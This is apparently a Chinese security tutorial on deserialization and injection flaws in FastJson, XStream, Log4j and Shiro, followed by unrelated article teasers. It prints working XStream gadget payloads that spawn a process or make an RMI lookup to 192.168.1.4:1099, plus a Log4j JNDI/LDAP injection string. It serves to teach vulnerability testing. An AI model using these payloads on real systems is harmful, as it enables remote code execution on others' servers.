当前位置：首页 > news >正文

Web开发-JavaEE应用依赖项Log4j日志Shiro验证FastJson数据XStream格式

news 来源：原创 2025/6/13 17:59:35

知识点：
1、安全开发-JavaEE-第三方依赖开发安全
2、安全开发-JavaEE-数据转换&FastJson&XStream
3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理

一、演示案例-WEB开发-JavaEE-第三方依赖&FastJson&XStream

FastJson

一个阿里巴巴开发的Java库，提供了Java对象与JSON相互转换。
在这里插入图片描述

<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.25</version>
</dependency>

1、序列化方法

JSON.toJSONString()，对象转换为JSON字符串；
JSON.toJSONBytes()，对象转换为byte数组；

2、反序列化方法

JSON.parseObject()，返回JsonObject；
JSON.parse()，返回Object；
JSON.parseArray(), 返回JSONArray；
将JSON对象转换为java对象：JSON.toJavaObject()；
将JSON对象写入write流：JSON.writeJSONString()；

3、常用

JSON.toJSONString(),JSON.parse(),JSON.parseObject()

在这里插入图片描述

演示：1.2.24及1.2.25版本
结论：反序列化时会调用类里的get及set方法
利用：已知类的调用方法 自带类的调用链固定版本的CVE
黑盒看传递JSON数据尝试替换 白盒看库版本和反序列化方法和对应可控变量
参考：https://mp.weixin.qq.com/s/EPdNElXPcZd5wEmQqAhFiQ

在这里插入图片描述

XStream

一个简单的基于Java库，将Java对象序列化为XML，反之亦然(即：可以轻易的将Java对象和XML相互转换)。
在这里插入图片描述

<dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.5</version>
</dependency><dependency><groupId>com.thoughtworks.xstream</groupId><artifactId>xstream</artifactId><version>1.4.15</version>
</dependency>

在这里插入图片描述

序列化Car类

Car car = new Car("Ferrari", 4000000);
XStream xStream = new XStream();
String xml = xStream.toXML(car);
System.out.print(xml);

在这里插入图片描述

反序列化Car类

String xml = "上述序列化类的数据";
XStream xStream = new XStream();
xStream.fromXML(xml);

在这里插入图片描述

已知类的调用方法

String xml = "<com.example.xstreamdemo.Car serialization=\"custom\">\n" +" <com.example.xstreamdemo.Car>\n" +" <default>\n" +" <price>4000000</price>\n" +" <name>Ferrari</name>\n" +" </default>\n" +" </com.example.xstreamdemo.Car>\n" +"</com.example.xstreamdemo.Car>";

自带类的调用链固定版本的CVE

String payload = "<sorted-set>\n" +" <dynamic-proxy>\n" +" <interface>java.lang.Comparable</interface>\n" +" <handler class=\"java.beans.EventHandler\">\n" +" <target class=\"java.lang.ProcessBuilder\">\n" +" <command>\n" +" <string>calc.exe</string>\n" +" </command>\n" +" </target>\n" +" <action>start</action>\n" +" </handler>\n" +" </dynamic-proxy>\n" +"</sorted-set>";

在这里插入图片描述

String poc="<java.util.PriorityQueue serialization='custom'>\n" +" <unserializable-parents/>\n" +" <java.util.PriorityQueue>\n" +" <default>\n" +" <size>2</size>\n" +" <comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>\n" +" <indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>\n" +" <packet>\n" +" <message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>\n" +" <dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>\n" +" <bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>\n" +" <bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>\n" +" <bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>\n" +" <jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>\n" +" <uriProperties/>\n" +" <attributeProperties/>\n" +" <inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>\n" +" <getter>\n" +" <class>com.sun.rowset.JdbcRowSetImpl</class>\n" +" <name>getDatabaseMetaData</name>\n" +" <parameter-types/>\n" +" </getter>\n" +" </inheritedAttWildcard>\n" +" </bi>\n" +" <tagName/>\n" +" <context>\n" +" <marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>\n" +" <outer-class reference='../..'/>\n" +" </marshallerPool>\n" +" <nameList>\n" +" <nsUriCannotBeDefaulted>\n" +" <boolean>true</boolean>\n" +" </nsUriCannotBeDefaulted>\n" +" <namespaceURIs>\n" +" <string>1</string>\n" +" </namespaceURIs>\n" +" <localNames>\n" +" <string>UTF-8</string>\n" +" </localNames>\n" +" </nameList>\n" +" </context>\n" +" </bridge>\n" +" </bridge>\n" +" <jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>\n" +" <javax.sql.rowset.BaseRowSet>\n" +" <default>\n" +" <concurrency>1008</concurrency>\n" +" <escapeProcessing>true</escapeProcessing>\n" +" <fetchDir>1000</fetchDir>\n" +" <fetchSize>0</fetchSize>\n" +" <isolation>2</isolation>\n" +" <maxFieldSize>0</maxFieldSize>\n" +" <maxRows>0</maxRows>\n" +" <queryTimeout>0</queryTimeout>\n" +" <readOnly>true</readOnly>\n" +" <rowSetType>1004</rowSetType>\n" +" <showDeleted>false</showDeleted>\n" +" <dataSource>rmi://192.168.1.4:1099/rj6obg</dataSource>\n" +" <params/>\n" +" </default>\n" +" </javax.sql.rowset.BaseRowSet>\n" +" <com.sun.rowset.JdbcRowSetImpl>\n" +" <default>\n" +" <iMatchColumns>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" <int>-1</int>\n" +" </iMatchColumns>\n" +" <strMatchColumns>\n" +" <string>foo</string>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" <null/>\n" +" </strMatchColumns>\n" +" </default>\n" +" </com.sun.rowset.JdbcRowSetImpl>\n" +" </jaxbObject>\n" +" </dataSource>\n" +" </message>\n" +" <satellites/>\n" +" <invocationProperties/>\n" +" </packet>\n" +" </indexMap>\n" +" </comparator>\n" +" </default>\n" +" <int>3</int>\n" +" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +" <string>javax.xml.ws.binding.attachments.inbound</string>\n" +" </java.util.PriorityQueue>\n" +"</java.util.PriorityQueue>";

在这里插入图片描述

结论：反序列化时会调用类里的readObject方法(类需继承序列化接口)
利用：已知类的调用方法 自带类的调用链固定版本的CVE
黑盒看传递XML数据尝试替换 白盒看库版本和反序列化方法和对应可控变量
参考：https://mp.weixin.qq.com/s/M_oQyZYQEFu0nbG-IpJt_A

二、演示案例-WEB开发-JavaEE-第三方依赖&Shrio验证&Log4j日志

Log4j

一个基于Java的日志记录工具，当前被广泛应用于业务系统开发，开发者可以利用该工具将程序的输入输出信息进行日志记录。
在这里插入图片描述

1、Maven引用

<dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.14.1</version>
</dependency>

在这里插入图片描述

2、接受输入值

3、Log4j错误处理

4、Jndi注入RCE执行

在这里插入图片描述

String code="${java:os}";
logger.error("{}",code);

在这里插入图片描述

String exp="${jndi:ldap://xx.xx.xx.xx:xx/xxx}";
logger.error("{}",exp);

在这里插入图片描述

演示：2.14.1版本
结论：尝试输出日志时可利用JNDI注入触发RCE
利用：黑盒在各种地方插入 白盒看库版本和反序列化方法和对应可控变量
参考：https://mp.weixin.qq.com/s/95Jxj3R9q95CFhCn86IiYA

Shiro

一个强大且易用的安全框架，可用于身份验证、授权、加密和会话管理等。
在这里插入图片描述

在这里插入图片描述

开发技术：利用AI提示写一个
结论：配置不当(未授权)或版本安全漏洞
利用：固定版本的CVE利用
黑盒看身份验证数据包 白盒看版本及对应安全问题
参考：https://mp.weixin.qq.com/s/kmGcrVmaLi0Db_jwKKNXag

Web开发-JavaEE应用依赖项Log4j日志Shiro验证FastJson数据XStream格式

知识点： 1、安全开发-JavaEE-第三方依赖开发安全 2、安全开发-JavaEE-数据转换&FastJson&XStream 3、安全开发-JavaEE-Shiro身份验证&Log4j日志处理一、演示案例-WEB开发-JavaEE-第三方依赖&FastJson&XStream FastJson 一个阿里巴巴开发的J…...

编程日记 2025/5/29 9:48:34

小集合 VS 大集合：MySQL 去重计数性能优化

小集合 VS 大集合：MySQL 去重计数性能优化前言一、场景与问题 🔎二、通俗执行流程对比三、MySQL 执行计划解析 📊四、性能瓶颈深度剖析 🔍五、终极优化方案 🏆六、总结前言 📈 测试结果： 在…...

编程日记 2025/5/25 9:38:36

什么是模块化区块链？Polkadot 架构解析

原文：https://polkadot.com/blog/understanding-modular-blockchains/ 作者：Joey Prebys 编译：OneBlock 区块链的构建方式有很多种，而不同的架构选择会直接影响性能、可扩展性和开发者体验。随着行业的发展，单体区块…...

编程日记 2025/5/24 19:50:58

C++翻转数相乘 2024年信息素养大赛复赛 C++小学/初中组算法创意实践挑战赛真题详细解析

目录 C++翻转数相乘一、题目要求 1、编程实现 2、输入输出二、算法分析三、程序编写四、运行结果五、考点分析六、推荐资料 1、C++资料 2、Scratch资料 3、Python资料 C++翻转数相乘 2024年信息素养大赛 C++复赛真题一、题目要求 1、编程实现假设一个…...

编程日记 2025/5/27 21:51:59

Go 语言中的 `select` 语句详解

select 是 Go 语言中处理通道(Channel)操作的一个强大控制结构，它允许 goroutine 同时等待多个通道操作。下面我将全面详细地解释 select 语句的各个方面。基本语法 select 语句的基本语法如下： select { case <-ch1:// 如果从 ch1 成功接收数据&…...

编程日记 2025/5/22 3:06:09

Nacos简介—4.Nacos架构和原理二

大纲 1.Nacos的定位和优势 2.Nacos的整体架构 3.Nacos的配置模型 4.Nacos内核设计之一致性协议 5.Nacos内核设计之自研Distro协议 6.Nacos内核设计之通信通道 7.Nacos内核设计之寻址机制 8.服务注册发现模块的注册中心的设计原理 9.服务注册发现模块的注册中心的服务数…...

编程日记 2025/6/4 5:25:17

Web服务器技术选型指南：主流方案、核心对比与策略选择

Web服务器技术选型指南：主流方案、核心对比与策略选择一、主流Web服务器概览在当今互联网架构中，Web服务器承担着处理HTTP请求、管理资源分配和保障服务稳定性的核心职责。根据应用场景和技术特性的不同，主流的Web服务器可分为以下五类&a…...

编程日记 2025/6/2 14:05:14

Git和Gitlab的部署和操作

一。GIT的基本操作 1.GIT的操作和查看内容 [rootmaster ~]# yum install git -y [rootmaster ~]# git config --list：查看所有配置 2.GIT仓库初始化 [rootmaster ~]# mkdir /gittest：创建目录 [rootmaster ~]# cd /gittest/：进入目录 [rootm…...

编程日记 2025/6/1 9:19:00

【Git】初始Git及入门命令行

目录为什么学习 Git 这么重要？ 1. 安装 Git 2. 配置 Git 3. 创建本地 Git 仓库 1. git初始化远程仓库： git init 2. 就是要新增两个必须要配置的选项： name 和 email 3. 查看当前本地仓库的配置情况： git config -l 4. 删…...

编程日记 2025/5/19 8:20:41

自然语言to SQL的评估

一、怎么进行一个自然语言to SQL评估？ 1.DB——准备可用的数据表 2.准备问题集，自然语言|正确的预期SQL 3.大模型执行完成的SQL 4.Table.json——一个存储表格数据或者数据库表结构信息的 JSON 文件。当前是存储的表结构信息的，存储数据库…...

编程日记 2025/5/18 0:31:26

详解React Fiber架构中，reconcile阶段的具体工作流程

在 React Fiber 架构里，协调（Reconcile）阶段处于虚拟 DOM（VDOM）与实际 DOM 渲染之间，主要承担着把 VDOM 转化为 Fiber 节点树、开展 Diff 比较并标记节点变化的任务。下面详细阐述协调阶段的具体工作流程&a…...

编程日记 2025/5/26 6:51:44

迅雷精简绿色融合版【高速下载版】12.1.9.2870【11.2.2.1716】【20250426】

迅雷Thunder 11官方版会提示敏感需升级不能使用，本人制作的迅雷 12.1.9.2870【11.2.2.1716】精简绿色融合版是在11.2.2.1716版本的基础上制作的，实际版本号显示为12.1.9.2870，不是真正意义的迅雷12.1.9.2870精简绿色版，本实质上还…...

编程日记 2025/5/23 13:41:14

决策树相关案例

全流程以下是一个更复杂、全流程的决策树和随机森林示例，不仅包括模型训练和预测，还涵盖了数据预处理、超参数调优以及模型评估的可视化。我们依旧使用鸢尾花数据集，并额外引入 GridSearchCV 进行超参数调优，使用 matplotlib 进…...

编程日记 2025/5/22 3:33:11

AI音频核爆！Kimi开源“六边形战士”Kimi-Audio，ChatGPT语音版？

音频处理领域的天花板被撕开了。刚刚，kimi 发布全新通用音频基础模型 Kimi-Audio，这款由月之暗面（Moonshot AI）推出的开源模型，在 24 小时内收获 3.2 万星标，不仅以 1.28% 词错率刷新语音识别纪录&#xf…...

编程日记 2025/5/20 15:38:04

vscode vue 的插件点击组件不能跳转到文件问题解决

ctrl shift p 打开命令行，搜索更改语言模式选择第二项选择 vue 现在可以了...

编程日记 2025/5/15 17:15:01

二叉树的前序、中序和后序遍历：详解与实现

1. 前序遍历（Pre-order Traversal） 1.1 定义前序遍历的顺序是：先访问根节点，然后递归地遍历左子树，最后递归地遍历右子树。 1.2 访问顺序对于任意节点： 访问根节点。递归遍历左子树。递归遍历右子…...

编程日记 2025/5/24 19:24:49

5、Rag基础：RAG 专题

RAG 简介什么是检索增强生成？检索增强生成（RAG）是指对大型语言模型输出进行优化，使其能够在生成响应之前引用训练数据来源之外的权威知识库。大型语言模型（LLM）用海量数据进行训练，使用数十亿个参数为回答问题、翻译语言和完成句子等任务生成原始输出。在 LLM 本就强…...

编程日记 2025/5/24 5:03:34

FISCO BCOS 智能合约开发详解

一、FISCO BCOS 智能合约开发概览 FISCO BCOS 是一个国产开源联盟链平台，支持两种类型的智能合约：FISCO BCOS Documentation Solidity 合约：与以太坊兼容，使用 Solidity 语言编写，适用于灵活的业务逻辑开发。预…...

编程日记 2025/5/29 13:36:30

Linux操作系统从入门到实战（四）Linux基础指令（下）

Linux操作系统从入门到实战（四）Linux基础指令（下） 前言一、date 指令二、cal 指令三、find 指令四、which 指令五、whereis 指令六、alias 指令七、grep 指令八、zip/unzip 指令九、tar 指令（重要）十、bc 指…...

编程日记 2025/6/3 0:12:19

使用 LLM助手进行 Python 数据可视化

在数据科学中，数据可视化是一项至关重要的任务，旨在揭示数据背后的模式和洞察，并向观众传达这些信息。然而，在编程语言（如 Python）中创建有洞察力的图表有时可能会耗时且复杂。本文介绍了一种借助 AI 助手&…...

编程日记 2025/5/28 7:42:03

#搭建gitlab docker pull gitlab/gitlab-ce docker run -d\--hostname localhost \-p 443:443 -p 80:80 -p 2222:22 \--name gitlab \-v /myproject/gitlab/config:/etc/gitlab \-v /myproject/gitlab/logs:/var/log/gitlab \-v /myproject/gitlab/data:/var/opt/gitlab \gitla…...

编程日记 2025/5/27 6:39:20

Python3:面向对象编程

这里写目录标题 🧩 面向对象编程：让代码化身为积木世界一、核心概念：类与对象二、四大基石：面向对象的核心特性1️⃣ 封装(Encapsulation)：包装复杂性，提供简单接口2️⃣ 继承(Inheritance)：站在…...

编程日记 2025/5/29 21:44:33

数据可视化 —— 饼图

一、饼图的所有常用使用场景饼图是一种直观展示数据占比关系的图表，适用于以下常见场景： 1. 市场与商业分析市场份额：展示不同品牌/产品在市场中的占有率。收入构成：分析公司各业务线或产品的收入占比。客户分布&#xff1…...

编程日记 2025/5/18 10:52:11

OpenLayers WebGL与3D渲染（进阶一）

1. WebGL概述 WebGL是一种JavaScript API，它基于OpenGL ES 2.0/3.0标准，允许在不使用插件的情况下在兼容的Web浏览器中呈现高性能的交互式3D和2D图形。在地理信息系统(GIS)领域，WebGL为地图渲染和空间数据可视化提供了强大的性能支持。 1.1…...

编程日记 2025/5/30 16:32:24

ARP协议（地址解析协议）

ARP协议是用来把IP地址转换成MAC地址的。因为在局域网里，真正通信靠的是MAC地址，但我们平时只知道目标的IP地址，所以需要一个办法把IP地址变成MAC地址 —— 这个过程就是靠ARP完成的。举个超简单的例子： 你电脑要发数据给192.1…...

编程日记 2025/5/25 22:33:21

深度学习常见框架：TensorFlow 与 PyTorch 简介与对比

🐇明明跟你说过：个人主页 🏅个人专栏：《深度探秘：AI界的007》 🏅 🔖行路有良友，便是天堂🔖 目录一、引言 1、为什么需要深度学习框架？ 2、框架的发展背…...

编程日记 2025/5/29 12:37:34

iOS 类与对象底层原理

iOS 类与对象底层原理文章目录 iOS 类与对象底层原理探索对象本质objc_setProperty 源码cls与类的关联原理联合体isa的类型isa_t 原理探索initIsa方法通过setClass方法中的shiftcls来验证绑定的一个流程通过 isa & ISA_MSAK通过object_getClass通过位运算类&类的结构…...

编程日记 2025/5/28 16:23:44

Babel、core-js、Loader之间的关系和作用全解析

在现代前端开发中，Babel、polyfill（如 core-js）和 Loader 是非常常见又容易混淆的几个概念。为了彻底搞明白它们的作用、关系和使用方法，下面一篇文章详细梳理。一、Babel的作用 Babel 是一个 JavaScript 的编译器，主…...

编程日记 2025/4/28 6:03:31

总线位宽不变，有效数据位宽变化的缓存方案

总线位宽不变，有效数据位宽变化的缓存方案譬如总线位宽为64bit，但是有时候只有高32bit有效，有时只有低32bit有效，有时64bit都有效。总线上收到的数据要先缓存到FIFO中，那么这个FIFO的宽度和深度如何设置呢&#xff1…...

编程日记 2025/5/27 6:02:52

若依脱敏功能升级：接口返回想脱就脱，想不脱就不脱（实现灵活可控制的数据脱敏）

若依原生框架中的脱敏功能不够灵活（默认超级管理员不脱敏，其他则脱敏）。有时候，我们有些接口想要脱敏，但是有些接口又不想脱敏。（例如列表查询的时候脱敏。修改的时候，不想数据脱敏&#xff0…...

编程日记 2025/5/28 7:50:23

【Azure Redis 缓存】在Azure Redis中，如何限制只允许Azure App Service访问？

问题描述在Azure Redis服务中，如何实现只允许Azure App Service访问呢？ 问题解答 Azure Redis 开启防火墙的功能，并在防火墙中添加上App Service的出口IP地址即可。两步即可实现此目的！ 1）查询 App Service 的出口IP…...

编程日记 2025/5/31 5:57:58

如何解决无训练数据问题：一种更为智能化的解决方案

手动标注数据真的很费时间，而且买数据集又贵得要命，还不一定能完全符合你的需求。但这里有个令人兴奋的好消息，为啥不用 AI 来解决这个问题呢？别再依赖传统方法了，你可以用像 LLM（大型语言模型）和图像生成器这样的 AI 工具，为你的特定目标创建合成训练数据。如今有那…...

编程日记 2025/5/27 16:58:08

AI 应用同质化：一场看不见的资源 “吞噬战”

大家好，我是涛涛，今天聊聊令人担心的事情。一、同质化的“繁荣”背后当ChatGPT在2022年掀起全球AI热潮时，中国互联网行业迅速进入“All in AI”模式。根据艾瑞咨询数据，2023年国内AI应用市场新增注册企业超2.3万家&#xff0c…...

编程日记 2025/5/22 20:38:11

Java + Spring Boot + MyBatis获取以及持久化sql语句的方法

在Java的Spring Boot项目中结合MyBatis获取实际执行的SQL语句，可以通过以下几种方法实现： 方法一：配置MyBatis日志级别通过调整日志级别，MyBatis会输出执行的SQL语句及参数，适用于快速调试。修改application.prope…...

编程日记 2025/6/1 17:57:01

「浏览器即OS」：WebVM技术栈如何用Wasm字节码重构冯·诺依曼体系？

一、冯诺依曼架构的维度坍塌 1. 传统计算模型的能量耗散浏览器执行效率瓶颈分析： 操作x86指令周期Wasm指令周期能效比提升矩阵乘法3894.2x内存访问1234x系统调用120012100x 二、WebVM的量子纠缠架构 1. 浏览器内核的重构 // 基于WASI的系统调用处理 #[no_mangl…...

编程日记 2025/5/27 4:56:40

Vue3项目目录结构规范建议

以下是一个推荐的 Vue 3 项目目录结构规范，适用于中大型项目并遵循最佳实践： 基础目录结构 bash src/ ├─ assets/ # 静态资源 │ ├─ images/ # 图片文件 │ ├─ fonts/ # 字体文件 │ └─ styles/ …...

编程日记 2025/5/24 2:02:00

【计算机视觉】CV实战项目- Four-Flower：基于TensorFlow的花朵分类实战指南

深度解析Four-Flower：基于TensorFlow的花朵分类实战指南项目概述与技术背景技术栈组成完整实战流程环境配置1. 基础环境安装2. 项目环境搭建3. 环境验证数据准备模型架构解析训练过程优化1. 训练配置2. 关键参数建议3. 训练监控常见问题与解决方案1. 内存不足错…...

编程日记 2025/5/18 10:40:30

4.27 JavaScript核心语法+事件监听

JavaScript负责网页的行为（交互行为） JS基本语法： 引用方式变量&常量&数据类型： alert()标签输出弹出框，如以上代码会输出true。函数： 自定义对象: 属性方法行为 JS中的全局变量是window。 js…...

编程日记 2025/5/31 7:24:06

于键值（KV）的表

基于键值（KV）的表将行编码为键值（KVs） 索引查询：点查询和范围查询在关系型数据库中，数据被建模为由行和列组成的二维表。用户通过SQL表达他们的意图，而数据库则神奇地提供结果。不那么神奇的…...

编程日记 2025/5/31 11:51:41

Matlab算例运行

1. 使用终端命令运行算例： 2. 如果点击Run 按钮就是会一直报错，所以直接改成终端运行算例...

编程日记 2025/5/29 13:31:12

package.json script 中的 prepare 脚本的作用是什么

在 package.json 的 scripts 中，prepare 脚本是一个特殊的生命周期脚本，主要作用和执行时机如下： prepare 脚本的作用和执行时机执行时机： 在执行 npm publish 命令之前运行。在执行不带参数的 npm install 命令时运行&#xff…...

编程日记 2025/5/29 12:48:29

图论---最大流（Dinic）

最大流一定是阻塞流，阻塞流不一定是最大流。阻塞流---从起点到终点的管道已经阻塞了。时间复杂度： 一般情况：O(n2m)O(n2m)（但实际运行效率较高，尤其在稀疏图上）。使用当前弧优化后，效率接近…...

编程日记 2025/5/28 11:56:47

FastAPI系列06：FastAPI响应（Response）

FastAPI响应（Response） 1、Response入门2、Response基本操作设置响应体（返回数据）设置状态码设置响应头设置 Cookies 3、响应模型 response_model4、响应类型 response_classResponse派生类自定义response_class 在“FastAPI系列0…...

编程日记 2025/5/26 20:29:36

双目RealSense系统配置rs_camera.launch----实现D435i自制rosbag数据集到离线场景的slam建图

引言 Intel RealSense系列相机因其出色的深度感知能力和灵活的配置选项，在机器视觉与应用中得到广泛应用。大家在后期的slam学习中，无论是对算法本身的性能要求还是实验的泛化性都有一定的要求，那么公开的数据集如kitti、tum、Eourc不能满足…...

编程日记 2025/5/19 19:40:00

【MCP-2】MCP是什么，利用智普大模型在MaxKB中调用自己开发的MCP服务

在上一篇【MCP-1】MCP是什么，从DEMO入手文章中我们介绍了MCP是什么、他能干啥，以及简单的Demo示例等，这篇文章我们使用MaxKB这个工具，利用智普大模型，看看MCP到底怎么用。创建SSE协议的MCP服务在上篇文章中的Demo是…...

编程日记 2025/5/28 15:04:48

Allegro23.1新功能之如何单独关闭铜皮显示效果操作指导

Allegro23.1新功能之如何单独关闭铜皮显示效果操作指导 Allegro升级到了23.1的时候，支持单独关闭铜皮显示，如下图如何仅关闭shape的显示，单独显示线，具体操作如下点击setup...

编程日记 2025/6/1 18:21:48

《从分遗产说起：JS 原型与继承详解》

“天天开心就好” 先来讲讲概念： 原型（Prototype） 什么是原型？ 原型是 JavaScript 中实现对象间共享属性和方法的机制。每个 JavaScript 对象（除了 null）都有一个内部链接指向另一个对象，这…...

编程日记 2025/5/22 7:11:30

【Part 2安卓原生360°VR播放器开发实战】第二节｜基于等距圆柱投影方式实现全景视频渲染

《VR 360全景视频开发》专栏将带你深入探索从全景视频制作到Unity眼镜端应用开发的全流程技术。专栏内容涵盖安卓原生VR播放器开发、Unity VR视频渲染与手势交互、360全景视频制作与优化，以及高分辨率视频性能优化等实战技巧。 📝 希望通过这个专栏&am…...

编程日记 2025/5/29 18:14:00

Android——RecyclerView

RecyclerView的使用依赖 implementation("androidx.recyclerview:recyclerview:1.4.0")activity_recyclerview.xml <androidx.recyclerview.widget.RecyclerViewandroid:id"id/rv"android:layout_width"match_parent"android:layout_height…...

编程日记 2025/5/27 8:26:14

跨域问题（Cross-Origin Problem）

跨域问题（Cross-Origin Problem）是浏览器出于安全考虑，对不同源（协议、域名、端口）之间的资源访问进行限制而引发的限制。以下是详细解释： 1. 核心定义跨域：当一个网页（源A&#x…...

编程日记 2025/5/18 11:21:13

一、演示案例-WEB开发-JavaEE-第三方依赖&FastJson&XStream

FastJson

1、序列化方法

2、反序列化方法

3、常用

XStream

序列化Car类

反序列化Car类

已知类的调用方法

自带类的调用链固定版本的CVE

二、演示案例-WEB开发-JavaEE-第三方依赖&Shrio验证&Log4j日志

Log4j

1、Maven引用

2、接受输入值

3、Log4j错误处理

4、Jndi注入RCE执行

Shiro

相关文章：